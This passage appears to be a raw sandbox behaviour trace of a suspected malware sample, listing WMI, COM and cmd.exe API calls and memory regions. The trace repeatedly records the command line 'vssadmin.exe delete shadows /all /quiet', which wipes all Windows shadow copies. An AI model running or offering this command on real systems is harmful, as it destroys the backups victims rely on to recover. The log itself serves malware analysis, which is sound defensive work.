[2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1e03e720 | out: ppvObject=0x1e03e720*=0x1c2d46b8) returned 0x0 [0191.693] WbemLocator:IUnknown:AddRef (This=0x1c2d46b8) returned 0x4 [0191.693] WbemLocator:IUnknown:Release (This=0x1c2d46b8) returned 0x3 [0191.693] WbemLocator:IUnknown:Release (This=0x1c2d46b8) returned 0x2 [0191.715] SysStringLen (param_1=0x0) returned 0x0 [0191.715] CoUninitialize () Thread: id = 40 os_tid = 0x7a8 Thread: id = 70 os_tid = 0x550 [0191.727] CoGetContextToken (in: pToken=0x1e09f220 | out: pToken=0x1e09f220) returned 0x0 [0191.727] CoGetContextToken (in: pToken=0x1e09f1f0 | out: pToken=0x1e09f1f0) returned 0x0 [0191.727] CoGetMarshalSizeMax (in: pulSize=0x1e09f1d0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x1da37c20, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x1e09f1d0) returned 0x0 [0191.728] CoMarshalInterface (pStm=0x1da2d430, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x1da37c20, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 119 os_tid = 0x2d0 Thread: id = 120 os_tid = 0x1c4 [0198.576] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0198.578] ResetEvent (hEvent=0x3a8) returned 1 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3640a000" os_pid = "0xb1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x94c" cmd_line = "\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 242 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 243 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 244 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 245 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 246 start_va = 0x49e60000 end_va = 0x49eb8fff entry_point = 0x49e60000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 247 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 248 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 249 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 250 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 251 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 252 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 253 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 254 start_va = 0x490000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 255 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 256 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 257 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 258 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 259 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 260 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 261 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 262 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 263 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 264 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 265 start_va = 0x310000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 266 start_va = 0x590000 end_va = 0x717fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 267 start_va = 0x720000 end_va = 0x8a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 268 start_va = 0x8b0000 end_va = 0x1caffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 269 start_va = 0x1cb0000 end_va = 0x1ff2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cb0000" filename = "" Region: id = 270 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 271 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 272 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 273 start_va = 0x7fef8ec0000 end_va = 0x7fef8ec7fff entry_point = 0x7fef8ec0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 274 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 275 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 276 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 277 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 278 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 279 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 280 start_va = 0x2000000 end_va = 0x22cefff entry_point = 0x2000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 12 os_tid = 0xb20 [0138.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30fb90 | out: lpSystemTimeAsFileTime=0x30fb90*(dwLowDateTime=0xf8caccd0, dwHighDateTime=0x1d4a550)) [0138.202] GetCurrentProcessId () returned 0xb1c [0138.202] GetCurrentThreadId () returned 0xb20 [0138.202] GetTickCount () returned 0x31a05 [0138.202] QueryPerformanceCounter (in: lpPerformanceCount=0x30fb98 | out: lpPerformanceCount=0x30fb98*=1821367200000) returned 1 [0138.202] GetModuleHandleW (lpModuleName=0x0) returned 0x49e60000 [0138.202] __set_app_type (_Type=0x1) [0138.202] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e87810) returned 0x0 [0138.202] __getmainargs (in: _Argc=0x49eaa608, _Argv=0x49eaa618, _Env=0x49eaa610, _DoWildCard=0, _StartInfo=0x49e8e0f4 | out: _Argc=0x49eaa608, _Argv=0x49eaa618, _Env=0x49eaa610) returned 0 [0138.203] GetCurrentThreadId () returned 0xb20 [0138.203] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb20) returned 0x3c [0138.203] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77550000 [0138.203] GetProcAddress (hModule=0x77550000, lpProcName="SetThreadUILanguage") returned 0x77566d40 [0138.203] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0138.204] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0138.204] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30fb28 | out: phkResult=0x30fb28*=0x0) returned 0x2 [0138.204] VirtualQuery (in: lpAddress=0x30fb10, lpBuffer=0x30fa90, dwLength=0x30 | out: lpBuffer=0x30fa90*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0138.204] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30fa90, dwLength=0x30 | out: lpBuffer=0x30fa90*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0138.204] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30fa90, dwLength=0x30 | out: lpBuffer=0x30fa90*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0138.204] VirtualQuery (in: lpAddress=0x214000, lpBuffer=0x30fa90, dwLength=0x30 | out: lpBuffer=0x30fa90*(BaseAddress=0x214000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0138.204] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30fa90, dwLength=0x30 | out: lpBuffer=0x30fa90*(BaseAddress=0x310000, AllocationBase=0x310000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0138.204] GetConsoleOutputCP () returned 0x1b5 [0138.204] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e9bfe0 | out: lpCPInfo=0x49e9bfe0) returned 1 [0138.204] SetConsoleCtrlHandler (HandlerRoutine=0x49e83184, Add=1) returned 1 [0138.204] _get_osfhandle (_FileHandle=1) returned 0x260 [0138.204] SetConsoleMode (hConsoleHandle=0x260, dwMode=0x0) returned 0 [0138.205] _get_osfhandle (_FileHandle=1) returned 0x260 [0138.205] GetConsoleMode (in: hConsoleHandle=0x260, lpMode=0x49e8e194 | out: lpMode=0x49e8e194) returned 0 [0138.205] _get_osfhandle (_FileHandle=0) returned 0xfffffffffffffffe [0138.205] GetConsoleMode (in: hConsoleHandle=0xfffffffffffffffe, lpMode=0x49e8e198 | out: lpMode=0x49e8e198) returned 1 [0138.206] _get_osfhandle (_FileHandle=0) returned 0xfffffffffffffffe [0138.206] SetConsoleMode (hConsoleHandle=0xfffffffffffffffe, dwMode=0x7) returned 0 [0138.206] GetEnvironmentStringsW () returned 0x4a8a60* [0138.207] FreeEnvironmentStringsW (penv=0x4a8a60) returned 1 [0138.207] GetEnvironmentStringsW () returned 0x4a8a60* [0138.207] FreeEnvironmentStringsW (penv=0x4a8a60) returned 1 [0138.207] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e9e8 | out: phkResult=0x30e9e8*=0x44) returned 0x0 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x0, lpData=0x30ea00*=0x18, lpcbData=0x30e9e4*=0x1000) returned 0x2 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x1, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x0, lpData=0x30ea00*=0x1, lpcbData=0x30e9e4*=0x1000) returned 0x2 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x0, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x40, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x40, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x0, lpData=0x30ea00*=0x40, lpcbData=0x30e9e4*=0x1000) returned 0x2 [0138.207] RegCloseKey (hKey=0x44) returned 0x0 [0138.207] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e9e8 | out: phkResult=0x30e9e8*=0x44) returned 0x0 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x0, lpData=0x30ea00*=0x40, lpcbData=0x30e9e4*=0x1000) returned 0x2 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x1, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x0, lpData=0x30ea00*=0x1, lpcbData=0x30e9e4*=0x1000) returned 0x2 [0138.207] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x0, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.208] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x9, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.208] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x4, lpData=0x30ea00*=0x9, lpcbData=0x30e9e4*=0x4) returned 0x0 [0138.208] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e9e0, lpData=0x30ea00, lpcbData=0x30e9e4*=0x1000 | out: lpType=0x30e9e0*=0x0, lpData=0x30ea00*=0x9, lpcbData=0x30e9e4*=0x1000) returned 0x2 [0138.208] RegCloseKey (hKey=0x44) returned 0x0 [0138.208] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3141fd [0138.208] srand (_Seed=0x5c3141fd) [0138.208] GetCommandLineW () returned="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet" [0138.208] GetCommandLineW () returned="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet" [0138.208] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.208] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4aaa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0138.208] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0138.208] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0138.208] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0138.208] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0138.208] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0138.208] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0138.209] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0138.209] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0138.209] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0138.209] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0138.209] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0138.209] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0138.209] GetEnvironmentStringsW () returned 0x4a8a60* [0138.209] FreeEnvironmentStringsW (penv=0x4a8a60) returned 1 [0138.209] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.209] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0138.209] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0138.209] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0138.209] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0138.209] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0138.209] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0138.209] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0138.209] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0138.209] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0138.210] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30f7f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x30f7f0, lpFilePart=0x30f7d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f7d0*="Desktop") returned 0x25 [0138.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0138.210] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f500 | out: lpFindFileData=0x30f500) returned 0x491390 [0138.210] FindClose (in: hFindFile=0x491390 | out: hFindFile=0x491390) returned 1 [0138.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x30f500 | out: lpFindFileData=0x30f500) returned 0x491390 [0138.210] FindClose (in: hFindFile=0x491390 | out: hFindFile=0x491390) returned 1 [0138.210] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0138.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x30f500 | out: lpFindFileData=0x30f500) returned 0x491390 [0138.210] FindClose (in: hFindFile=0x491390 | out: hFindFile=0x491390) returned 1 [0138.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0138.210] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0138.210] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0138.211] GetEnvironmentStringsW () returned 0x4a8a60* [0138.211] FreeEnvironmentStringsW (penv=0x4a8a60) returned 1 [0138.211] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.211] GetConsoleOutputCP () returned 0x1b5 [0138.211] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e9bfe0 | out: lpCPInfo=0x49e9bfe0) returned 1 [0138.211] GetUserDefaultLCID () returned 0x409 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e97b50, cchData=8 | out: lpLCData=":") returned 2 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30f900, cchData=128 | out: lpLCData="0") returned 2 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30f900, cchData=128 | out: lpLCData="0") returned 2 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30f900, cchData=128 | out: lpLCData="1") returned 2 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49eaa740, cchData=8 | out: lpLCData="/") returned 2 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49eaa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49eaa460, cchData=32 | out: lpLCData="Tue") returned 4 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49eaa420, cchData=32 | out: lpLCData="Wed") returned 4 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49eaa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49eaa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49eaa360, cchData=32 | out: lpLCData="Sat") returned 4 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49eaa700, cchData=32 | out: lpLCData="Sun") returned 4 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e97b40, cchData=8 | out: lpLCData=".") returned 2 [0138.212] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49eaa4e0, cchData=8 | out: lpLCData=",") returned 2 [0138.212] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0138.213] GetConsoleTitleW (in: lpConsoleTitle=0x4ab800, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.213] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77550000 [0138.213] GetProcAddress (hModule=0x77550000, lpProcName="CopyFileExW") returned 0x775623d0 [0138.213] GetProcAddress (hModule=0x77550000, lpProcName="IsDebuggerPresent") returned 0x77558290 [0138.213] GetProcAddress (hModule=0x77550000, lpProcName="SetConsoleInputExeNameW") returned 0x775617e0 [0138.214] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77 [0138.215] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16 [0138.215] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16 [0138.215] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13 [0138.215] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13 [0138.215] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4 [0138.215] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4 [0138.216] GetConsoleTitleW (in: lpConsoleTitle=0x30f810, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.216] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vssadmin.exe")) returned 0xffffffff [0138.216] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0138.216] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0138.216] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0138.216] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0138.216] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0138.216] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0138.216] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0138.216] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0138.216] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0138.216] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0138.216] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0138.216] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0138.217] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0138.217] 